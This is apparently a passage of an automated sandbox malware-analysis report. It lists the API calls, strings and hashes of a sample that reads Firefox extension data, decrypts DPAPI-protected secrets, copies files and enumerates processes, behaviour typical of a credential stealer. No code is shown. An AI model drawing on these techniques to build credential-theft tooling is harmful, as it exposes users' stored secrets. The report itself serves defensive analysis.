HeapAlloc.KERNEL32(00000000,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC,00000000,?,Work Dir: In memory,00000000,?), ref: 00410666
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC,00000000,?), ref: 00410694
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC,00000000), ref: 004106B0
RegCloseKey.ADVAPI32(00000000,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC,00000000,?,Work Dir: In memory,00000000,?), ref: 004106B9

Strings

Windows 11, xrefs: 00410677

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 5f1e27fdb62b933d2b61b99a876454972edf3bd6176160e80f00ebf938befaf3
Instruction ID: 104df8f2525a0fd679668ea989e6de38b513391d3ca0bb797f84468fdfaa6df1
Opcode Fuzzy Hash: 5f1e27fdb62b933d2b61b99a876454972edf3bd6176160e80f00ebf938befaf3
Instruction Fuzzy Hash: 19F06279640215FBEB209BD1DD0AFAA7A7EEB49B04F201075FB01E61A0D7B49A509B24

Function 00417250 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00417330: LoadLibraryA.KERNEL32(kernel32.dll,00417262), ref: 00417335
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041737A
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417391
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173A8
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173BF
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173D6
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173ED
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417404
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041741B
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417432
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417449
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417460
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417477
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041748E
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174A5
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174BC
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174D3
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174EA
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417501
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417518
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041752F
Part of subcall function 00417330: LoadLibraryA.KERNEL32 ref: 00417540
Part of subcall function 00417330: LoadLibraryA.KERNEL32 ref: 00417551

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FBCB: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00417274,0042656F), ref: 0040FBD7
Part of subcall function 0040FBCB: HeapAlloc.KERNEL32(00000000,?,?,?,00417274,0042656F), ref: 0040FBDE
Part of subcall function 0040FBCB: GetUserNameA.ADVAPI32(00000000,?), ref: 0040FBF2

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

CloseHandle.KERNEL32(00000000), ref: 004172D5
Sleep.KERNEL32(00001B58), ref: 004172E0
OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,?,00426AC0,?,00000000,0042656F), ref: 004172F1
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00417307
CloseHandle.KERNEL32(00000000), ref: 00417315
ExitProcess.KERNEL32 ref: 0041731C

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoadlstrcpy$CloseEventHandleHeapProcess$AllocCreateExitH_prologNameOpenSleepUserlstrcatlstrlen
String ID:
API String ID: 1043047581-0
Opcode ID: 63899c68169e41570f029a222e57a0ca82ee8ba73f8e0d272385d8930f0730d7
Instruction ID: 5fe09bd252f0d150a6d3d00478baf6c0c38f56ac8277075a71d8cdb1780555ff
Opcode Fuzzy Hash: 63899c68169e41570f029a222e57a0ca82ee8ba73f8e0d272385d8930f0730d7
Instruction Fuzzy Hash: 45112C71900019BBCB11FBA2DD6ADEEB77DAE55304B50007EB502B24E1DF386A09CA69

Function 0040B1E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 186stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040B1E5

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 00410D6D: LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00425ED8,00425BE3), ref: 0040B2A6
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040AFAF: _EH_prolog.MSVCRT ref: 0040AFB4

Strings

^userContextId=4294967295, xrefs: 0040B30D
moz-extension+++, xrefs: 0040B2E8

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2813378046-3310892237
Opcode ID: 0171a6eed1cad274af742993f372e6eb5dbe1f221bce049fb29b10c6c864d2db
Instruction ID: 4f6f4bd48829af219670311540be59081c9cea49b359b7f79f2b82a8f20ba16d
Opcode Fuzzy Hash: 0171a6eed1cad274af742993f372e6eb5dbe1f221bce049fb29b10c6c864d2db
Instruction Fuzzy Hash: F6715D70905248AACB14FBE5D516BDDBBB4AF19308F50417EE805736C2DB78670CCB66

Function 004064E5 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 153libraryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004064EA

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,00000000,?,?,00425B44,?,?,?,00425B3F,?), ref: 004065A7

Part of subcall function 0040F997: lstrlenA.KERNEL32(?,00000000,?,004169B9,0042655F,0042655E,00000000,00000000,?,00417314), ref: 0040F9A0
Part of subcall function 0040F997: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9D4

SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,00425B48,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00425B43), ref: 0040661F
LoadLibraryA.KERNEL32(00000000), ref: 0040663A

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040659B, 004065A0, 004065BA

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$H_prolog$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 757424748-3463377506
Opcode ID: f6ce9d2092b8488091eba00a9cdcecb47d6563a634a2b248d5590a137b97323b
Instruction ID: b62f1dd5ee535d8e5f8645b721c07d1aad3572f7288e272c7e543ebc5a1b68b9
Opcode Fuzzy Hash: f6ce9d2092b8488091eba00a9cdcecb47d6563a634a2b248d5590a137b97323b
Instruction Fuzzy Hash: 7B617170801544EECB25EBA4EA15AEDBBB5EB28304F10507EE506736E2DB381A09CF65

Function 0040C186 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040C18B

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 00410D6D: LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040C1DE

Part of subcall function 00406242: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,004058F9,00000000,00000000), ref: 00406262
Part of subcall function 00406242: LocalAlloc.KERNEL32(00000040,004058F9,?,?,004058F9,00000000,?,?), ref: 00406270
Part of subcall function 00406242: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,004058F9,00000000,00000000), ref: 00406286
Part of subcall function 00406242: LocalFree.KERNEL32(00000000,?,?,004058F9,00000000,?,?), ref: 00406295

memcmp.MSVCRT ref: 0040C21C

Part of subcall function 004062A5: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004062C8
Part of subcall function 004062A5: LocalAlloc.KERNEL32(00000040,?,?), ref: 004062E0
Part of subcall function 004062A5: LocalFree.KERNEL32(?), ref: 004062FE

Strings

, xrefs: 0040C247
DPAPI, xrefs: 0040C216

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeH_prologString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2477620391-1819349886
Opcode ID: 7dfd3c404522f5fba9cfd470d0499fc11dcebd0c230a6c7a8048448d2f3d36ba
Instruction ID: 8b9103f373224ef9c7d1e1e34525f01fb5e997a78b4ac406efbcf79e04d5bcd8
Opcode Fuzzy Hash: 7dfd3c404522f5fba9cfd470d0499fc11dcebd0c230a6c7a8048448d2f3d36ba
Instruction Fuzzy Hash: 8B21A272D00109ABCF10ABE5CD42AEFBB79AF54314F14027BF901B11D2EA399A958699

Function 0040913E Relevance: 7.8, APIs: 5, Instructions: 274filestringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00409143

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040921D
lstrlenA.KERNEL32(00000000), ref: 004093E4
lstrlenA.KERNEL32(00000000), ref: 004093F8
DeleteFileA.KERNEL32(00000000), ref: 0040947A

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 3423466546-0
Opcode ID: 11db608995ccd72e57995140e9430edd233334ab05fc65fed0a96f20b0681f76
Instruction ID: 49701c4b31c8d318cf39a30ad3edccb9fb9ad7eb1a88c61520d5ae36ab01da66
Opcode Fuzzy Hash: 11db608995ccd72e57995140e9430edd233334ab05fc65fed0a96f20b0681f76
Instruction Fuzzy Hash: 64B14A71904248EACB15EBE4D965BDDBBB4AF28308F54407EE406735C2DB782B0DDB26

Function 004102C3 Relevance: 7.6, APIs: 5, Instructions: 70processCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004102C8

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00410303
Process32First.KERNEL32(00000000,00000128), ref: 00410314
Process32Next.KERNEL32(?,00000128), ref: 0041037C
CloseHandle.KERNEL32(?,?,00000000), ref: 00410389

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prologHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 599723951-0
Opcode ID: 2fc1f2962bdb036bcc7fb993ace66804accd746089eb9d5784e12931c34da8f2
Instruction ID: a4a97019f206722b2e8740589aebd7bc91867f573d1150960a86d602fc248a9b
Opcode Fuzzy Hash: 2fc1f2962bdb036bcc7fb993ace66804accd746089eb9d5784e12931c34da8f2
Instruction Fuzzy Hash: 23210CB1A00118EBCB10EFA5CD55AEEBBB9AF58348F50407EE405F3691CB785A488B65

Function 004024D7 Relevance: 7.5, APIs: 5, Instructions: 39memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004024F0

Part of subcall function 0040245C: memset.MSVCRT ref: 00402481
Part of subcall function 0040245C: CryptStringToBinaryA.CRYPT32(00000104,00000000,00000001,00000000,?,00000000,00000000), ref: 004024A7
Part of subcall function 0040245C: CryptStringToBinaryA.CRYPT32(00000104,00000000,00000001,?,?,00000000,00000000), ref: 004024C1

strcat.MSVCRT(?,00000000,?,?,00000000,00000104), ref: 00402505
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00402510
RtlAllocateHeap.NTDLL(00000000), ref: 00402517

Part of subcall function 00402308: ??_U@YAPAXI@Z.MSVCRT ref: 0040238D

memset.MSVCRT ref: 00402540

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memset$BinaryCryptHeapString$AllocateProcessstrcat
String ID:
API String ID: 3248666761-0
Opcode ID: a641902682074bfb60fea3bc3b21c2ff598bd00ccde1354f0615c18b64d23653
Instruction ID: 5936fd312f401cb4099e43ed518250dd8d8a99da873d70e406837ce1c28814d2
Opcode Fuzzy Hash: a641902682074bfb60fea3bc3b21c2ff598bd00ccde1354f0615c18b64d23653
Instruction Fuzzy Hash: BCF044B6C0021CB7CB10BBA4DD49FCA777C9F14304F0000A6BA45F2081DAB497C4CBA4

Function 00413326 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041332B
lstrlenA.KERNEL32(00000000), ref: 00413348
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041340C

Strings

ERROR, xrefs: 00413406

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prologlstrlen
